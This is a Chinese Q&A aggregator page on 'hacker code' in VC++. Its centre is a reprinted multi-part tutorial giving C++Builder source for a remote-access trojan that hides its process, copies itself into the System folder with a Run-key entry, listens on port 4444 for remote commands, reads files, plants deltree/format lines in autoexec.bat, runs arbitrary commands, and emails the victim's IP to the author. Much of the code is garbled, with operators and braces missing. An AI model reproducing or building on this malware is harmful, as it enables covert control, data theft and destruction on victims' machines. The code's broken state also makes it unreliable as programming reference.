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vc黑客代码(黑客代码程序)

本文导读目录:

如何用VC++编写盗号木马

老一套的方法服务端和客户端,服务端连接客户端,或者服务端打开监听端口客户端连接,这用到其他方面的知识,比如TCP/IP协议和套接字之类的,你首先要搞懂它们是怎么通信的,基本都用到SOCK函数,bind()绑定,listen()监听,accept()连接,send()发生,recv()接受等等。。。。。。首先你要让客户端和服务端连接起来,然后客户端就可以向服务端发送命令了,比如键盘记录,捕获桌面,查找文件,关机重启等很多坏事,具体用三言两语很难说得透,有本书叫(黑客编程vc专辑2009),是黑客防线出的,淘宝很多人叫卖。里面很多例子应该你都适用,感觉你还是编程新手,你还是学学基础吧,先把网络协议搞懂,再就是再WINDOWS或者其他平台编程的机制,多认识些函数的使用方法那样你就容易上过手了,还是那句话:很多事情不是一早一夕的。

什么是黑客代码

无论任何程序与软件,都是通过编程工具来编写的, 例如VB VC 易语言等,在编写的过程中,会产生相应的代码。 还有一个解释,就是针对一些漏洞的执行代码

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

catch(...)

file://如果有错误,什么也不做

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

else if(temp.SubString(0,3)=="dir")

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

times_of_try=0;

while(fp==NULL)

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

while ((ent = readdir(dir)) != NULL)

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

else if(temp.SubString(0,4)=="type")

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

else if(temp=="open")

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

else if(temp=="close")

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

接着就是交换目标机的鼠标左右键,代码如下:

else if(temp=="swap")

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

else if(temp=="reboot")

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

如果以上都不是,就让它在Dos窗口中执行传来的命令:

else

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

NMSMTP1-Connect();

file://再次连接

catch(...)

goto NextTime;

file://跳到NextTime

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

vc 6.0会带有美国黑客程序吗

不会的,这是编程器,专门用来写代码的!如果你想有黑客程序,你可以自己编写出来!

求修改一段C++黑客帝国屏保的代码

在WndProc这个回调函数里加个鼠标移动消息(WM_MOUSEMOVE)的判断即可。

由于这个消息很灵敏,你感觉鼠标没有动,实际也退出了。所以,在这个消息下面再加上一个移动距离的判断即可。距离越短,鼠标移动时退出检测就越灵敏。

例如:

case WM_MOUSEMOVE:

static int xPos = 0;// 上一次鼠标位置

static int yPos = 0;

// 如果是0则是第一次接收,存储第一次鼠标位置

if (xPos == 0 || yPos == 0)

xPos = LOWORD(lParam);

yPos = HIWORD(lParam);

return 0;

}// 如果不是第一次接收,说明已有上次鼠标位置数据,与本次位置判断一下移动距离(即灵敏度)即可

else if ( abs(xPos - LOWORD(lParam))  100 || abs(yPos -HIWORD(lParam))  100 )

    PostQuitMessage(0);// 鼠标移动大于100就退出

return 0;

abs求出绝对值来判断,可以保证如果算出负数距离仍能正确退出。lParam包含鼠标的xy坐标,需要LOWORD和HIWORD来取出。

实际上很简单,对吧?

求一加壳的vc源代码

看这里,直接下在源代码.

bra href="http://bbs.pediy.com/showthread.php?t=43229" target="_blank"http://bbs.pediy.com/showthread.php?t=43229/a

br

br源码在vc7+xp-sp2下编译通过

br原理:对Pe文件的.data节,.text节进行XOR加密,然后将带解密的Loader写入文件头和第一个段的开头之间,修改Entry Point使其指向Loader.

br测试用例:使用vc6.0自动生成的mfc对话框应用程序。

br参考文献:(1)def源码

br (2)黑客调试技术揭秘

br (3)yoda's protector源码

稍微看了一下,这个做得并不复杂,看代码应该可以整理出思路来的

vc++是什么

�0�2�0�2�0�2 这个问题很奇怪吗?大概是。不过,当我又看到有人发表诸如“Windows/Office是VC编写的”或者“VC是无所不能的”这种高论,我就禁不住这样问自己。�0�2�0�2�0�2 Visual C++究竟是什么?你平常在其中工作的那个标记着“Microsoft Visual C++”的窗口,真的就代表Visual C++吗?�0�2�0�2�0�2 按照我的理解,Visual C++是一个开发工具包,它大概可以分成三个主要的部分:1. Developer Studio,这是一个集成开发环境,我们日常工作的99%都是在它上面完成的,再加上它的标题赫然写着“Microsoft Visual C++”,所以很多人理所当然的认为,那就是Visual C++了。其实不然,虽然Developer Studio提供了一个很好的编辑器和很多Wizard,但实际上它没有任何编译和链接程序的功能,真正完成这些工作的幕后英雄后面会介绍。我们也知道,Developer Studio并不是专门用于VC的,它也同样用于VB,VJ,VID等Visual Studio家族的其他同胞兄弟。所以不要把Developer Studio当成Visual C++, 它充其量只是Visual C++的一个壳子而已。这一点请切记!2. MFC。从理论上来讲,MFC也不是专用于Visual C++,Borland C++,C++Builder和Symantec C++同样可以处理MFC。同时,用Visual C++编写代码也并不意味着一定要用MFC,只要愿意,用Visual C++来编写SDK程序,或者使用STL,ATL,一样没有限制。不过,Visual C++本来就是为MFC打造的,Visual C++中的许多特征和语言扩展也是为MFC而设计的,所以用Visual C++而不用MFC就等于抛弃了Visual C++中很大的一部分功能。但是,Visual C++也不等于MFC。3. Platform SDK。这才是Visual C++和整个Visual Studio的精华和灵魂,虽然我们很少能直接接触到它。大致说来,Platform SDK是以Microsoft C/C++编译器为核心(不是Visual C++,看清楚了),配合MASM,辅以其他一些工具和文档资料。上面说到Developer Studio没有编译程序的功能,那么这项工作是由谁来完成的呢?是CL,是NMAKE,和其他许许多多命令行程序,这些我们看不到的程序才是构成Visual Studio的基石。�0�2�0�2�0�2 为什么我会觉得“Windows是用VC开发的”这种说法很奇怪?因为它太含糊了。用VC,可以编写MFC应用,也可以编写纯SDK程序,不论哪一种方式,都不一定是非VC不可。只要乐意,我完全可以用UltraEdit来写出一个MFC程序,再用CL编译之,没有必要一定动用VC这个大家伙。而且有许多黑客和买不起Visual Studio的人就是这么干的!用SDK编程就更不需要VC了,Down一个Borlan C++ Compiler下来,或者用lcc之类的编译器,同样可以达到目的。再说了,Windows可不是一个单纯的产品。用VC来编写Windows外围程序是完全不成问题的,可是操作系统的核心部分呢?就算可以用VC来编写代码,调试怎么办?VC自身的调试器对一般的应用功能是够强大的,可是对于系统级的调试根本无能为力,因为这个调试器本身就是依赖于操作系统的。只有系统级的调试程序如debug,SoftIce和Wdebug这些工具才能完成如此重大的任务。�0�2�0�2�0�2 从历史上来看,Visual C++ 1.0的出现晚于Windows 3.0,而且那时候的MFC只有一个雏形而已,用来开发操作系统根本是不可能的事情。在Visual C++ 1.0的前面倒是有一个Microsoft C/C++ 7.0,但是它整体水平不如Borland C++ 3.1,在扩展内存管理方面的功能又不如Watcom C++ ,所以一直没有占据很大的市场。它现在已经不作为单独的产品,但仍然作为Platform SDK的主要组成部分而存在于Visual Studio产品中,而且其功能比过去也不可同日而语了。到Windows 95问世的时候,MFC仍然在尽力追赶操作系统的功能。应该说Visual C++ 5.0是一个转折点,一方面MFC已经发展比较完善,另一方面,操作系统的基本结构也已经稳定,后面就主要着眼于系统整合与完善作为商务平台的功能。已经稳定的系统不可能再进行翻天覆地的修改,所以,我比较能够接受“Windows系统是用Microsoft C++和MASM作为编译器完成的”这种说法。研究Windows的系统文件可以看出,很多文件显示出来的Linker Version明显是Microsoft C++编译器。至于代码是用什么编写的?我不知道,也不想知道,除了Developer Studio的编辑器之外,任何好的文本编辑器都能够做到这一点。�0�2�0�2�0�2 Visual C++是无所不能的吗?唔,最好也是分开来说。Developer Studio肯定不是—它只是个外壳而已。MFC呢?也不是。一方面它是对API的封装,离开了API它就什么也干不了;另一方面,MFC对API的封装也不够全面,有些时候还是要直接调用API函数才能够“为所欲为”。至于Platform SDK,倒真的可以说它几乎是无所不能的。不过,过分强调这一点并没有太大意义。只要有一套完整的编译器,和必须的支持文件,其他开发工具也可以说是“无所不能”的,比如Borland C++ Compiler或者lcc都可。�0�2�0�2�0�2 老实说,我并不喜欢“无所不能”这类字眼。关键在于各人的理解不同。如果我较起真来,说能不能写个VC程序让电脑拿起鼠标砸向我不喜欢的老板,你说它能办得到吗?所谓的“无所不能”究竟有何意义?让我用VC写一个Server,能在普通工作站上支持每秒几千万的访问量,杀了我也办不到,不管VC的优化手段是多么有效。在具体的平台上,在特定的操作系统中,不论多么强大的工具,最终还是要受到平台和系统本身的限制。大家应该知道这个悖论吧:上帝能否制造出一块他自己也举不起来的石头?�0�2�0�2�0�2 我也常常看到“MFC永远不会过时”或者“C++是不会灭亡的”这种发言。我理解发言人的心情,不过这种说法绝不客观。一种语言也好,一个Application Framework也罢,它们之所以有今天的地位,并不是纯粹自然形成的,有许多复杂因素的作用,也有时势造英雄的理由在内,所谓“居高声自远,非是籍秋风”是也。历史的舞台从来不是为某人专设,即使真有所谓万古长青的怪胎,恐怕也正应了那句老话:“众人都死了,只剩咱们两个老妖精,有什么意思!”我们现在使用的语言,不论Basic,Pascal还是C++,甚至如日中天的Java和C#,终究都会有功成身退的一天。这并不是我们的损失,相反,薪尽火传,一种语言中好的,合理的因素,肯定会被后续者所继承和发扬,自然界的新陈代谢本该如此。�0�2�0�2�0�2 天空没有飞翔的痕迹,而飞鸟已经飞过。一种语言只要曾经在历史上留下浓墨重彩的一笔,完成它“为先贤继圣学,为万世开太平”的历史使命(有点夸张),这就够了,何必缠绵不舍作儿女之态!不知道我有生之年会不会看到C++的消亡,如果真有这么一天,我会拍手欢呼,因为这说明已经有了另外一种更新更好的语言来代替它(或许是几种)。不过照我猜想,像C++这种轰动武林惊万教的语言,其灭亡恐怕也不会是悄无声息,而多半属于“始皇既没,余威震于殊俗”那种情况。�0�2�0�2�0�2 最后请允许我发表一点感慨。语言的优劣其实是一个无需讨论的问题,个人的经历和所处环境在很大程度上就决定了你对某种语言的看法,这是很个人的东西。好比碰到一位法国朋友,他多半会自豪的告诉你:法语是世界上最好最优美的语言。对这种说法我会微笑表示赞同,并且欣赏他的民族自豪感,而不会觉得这是对汉语或者英语的贬低—虽然我心底里一直深信,汉语才是世界上最好的语言。当然,如果他对我说“你们那些破烂中文是些什么玩意”,那我可能就是另外一种反应了。说了这么多,意思无非是想少些无谓的争论罢了。常在论坛上看到“XXX是最好的语言(编译器),XX是什么东西”之类发言。我不想和他们争论,一个人对一样东西既然完全失去了接触和了解的兴趣,那么说什么大概都没有用了。只是觉得遗憾而已。人世间的隔膜与误会,大多是由于彼此不了解而引起,而多少悲剧正是由此而发生呵。在编程的世界里大概不会这么严重,不过言为心声,多少也可看出个人的品行。如果某个人A常在我面前说B的坏话,那么我对B不会有恶感,相反我对A的印象分要减去20。自己不了解的人或者事,不管,不说,也就是了。何至于恶言相加呢。我参加工作的时间不长,各种各样的软件工程师倒是见过不少。就我看到的情况,程序员实在是很沉默寡言的一类人,平时总是表现的温文尔雅,有时候却难得的能见到他们大发脾气,扔鼠标,砸键盘,捶显示器,干什么的都有(这种情况多半是遇到没有办法除掉的Bug了)。面对亲人和朋友的时候他们有时候会选择长久的沉默,只有坐到机器前面时才会发现他们的痴迷和狂热。虽然普遍的不善言谈,但是他们似乎总能在游戏或者网络中找到发泄的方式。所以我在各种各样的论坛上看到语法错误不忍卒读的文字,看到互相指责乃至于人身攻击的情况,甚至看到许多不雅的词汇,虽然心情无论如何愉快不起来,但是我想我能理解。只是,我仍然感到担心,毕竟程序员这一行干几年就了不起了,而人生还有很长的路要走呢。没有一个健全的心态,没有足够为人处世的技巧,30岁以后的人生该如何把握呢?

VC++黑客编程:如何获得IP地址和主机名

今天阿驹电脑安全就给大家粗浅地说一下如何用VC++编程获取IP以及主机名。首先告诉大家,可以通过gethostname()和gethostbyname()函数来获取计算机的主机名和IP地址。两个函数的语法格式如下:gethostname()int gethostname(char FAR * name, int namelen);name:表示返回主机名。namelen:表示字符串name的大小。获取IP地址的代码char computername[128];CString str;if(gethsotname(computername,128) == 0) //获得主机名{ struct hostent * phost; int i=0, j, h_len=4; phost = gethostbyname(computername); m_hostname = computername; for( j=0, j0) str+=”.”; m_addr.Format(“%u”, (unsigned int)((unsigned char*)-h_addr_list[i][j] )); str+=m_addr; }}m_ipaddress = str;UpdataData(FALSE);

  • 评论列表:
  •  可难谜兔
     发布于 2022-06-11 15:08:58  回复该评论
  • LEGES)NULL, 0); file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOO
  •  弦久秋酿
     发布于 2022-06-11 16:51:31  回复该评论
